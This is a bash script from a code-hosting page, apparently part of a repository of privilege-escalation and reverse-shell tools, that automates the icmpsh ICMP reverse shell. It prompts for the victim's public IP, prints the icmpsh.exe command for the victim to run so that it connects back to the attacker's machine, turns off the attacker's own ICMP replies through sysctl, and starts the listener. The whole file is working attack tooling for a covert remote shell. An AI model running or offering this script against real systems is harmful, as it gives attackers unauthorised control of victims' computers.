/Reverse-Shells/icmpsh/run.sh

https://gitlab.com/surajraghuvanshi/Privlage-Esclator
Shell | 56 lines | 49 code | 3 blank | 4 comment | 3 complexity | 8b19325a1c647496ef062bc9767f0743 MD5 | raw file
  1. #!/usr/bin/env bash
  2. # icmp shell script
  3. # Daniel Compton
  4. # 05/2013
  5. echo ""
  6. echo ""
  7. echo -e "\e[00;32m##################################################################\e[00m"
  8. echo ""
  9. echo "ICMP Shell Automation Script for"
  10. echo ""
  11. echo "https://github.com/inquisb/icmpsh"
  12. echo ""
  13. echo -e "\e[00;32m##################################################################\e[00m"
  14. echo ""
  15. IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
  16. IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
  17. echo -e "\e[1;31m-------------------------------------------------------------------\e[00m"
  18. echo -e "\e[01;31m[?]\e[00m What is the victims public IP address?"
  19. echo -e "\e[1;31m-------------------------------------------------------------------\e[00m"
  20. read VICTIM
  21. echo ""
  22. echo -e "\e[01;32m[-]\e[00m Run the following code on your victim system on the listender has started:"
  23. echo ""
  24. echo -e "\e[01;32m++++++++++++++++++++++++++++++++++++++++++++++++++\e[00m"
  25. echo ""
  26. echo "icmpsh.exe -t "$IP" -d 500 -b 30 -s 128"
  27. echo ""
  28. echo -e "\e[01;32m++++++++++++++++++++++++++++++++++++++++++++++++++\e[00m"
  29. echo ""
  30. LOCALICMP=$(cat /proc/sys/net/ipv4/icmp_echo_ignore_all)
  31. if [ "$LOCALICMP" -eq 0 ]
  32. then
  33. echo ""
  34. echo -e "\e[01;32m[-]\e[00m Local ICMP Replies are currently enabled, I will disable these temporarily now"
  35. sysctl -w net.ipv4.icmp_echo_ignore_all=1 >/dev/null
  36. ICMPDIS="disabled"
  37. else
  38. echo ""
  39. fi
  40. echo ""
  41. echo -e "\e[01;32m[-]\e[00m Launching Listener...,waiting for a inbound connection.."
  42. echo ""
  43. python icmpsh_m.py "$IP" "$VICTIM"
  44. if [ "$ICMPDIS" = "disabled" ]
  45. then
  46. echo ""
  47. echo -e "\e[01;32m[-]\e[00m Enabling Local ICMP Replies again now"
  48. sysctl -w net.ipv4.icmp_echo_ignore_all=0 >/dev/null
  49. echo ""
  50. else
  51. echo ""
  52. fi
  53. exit 0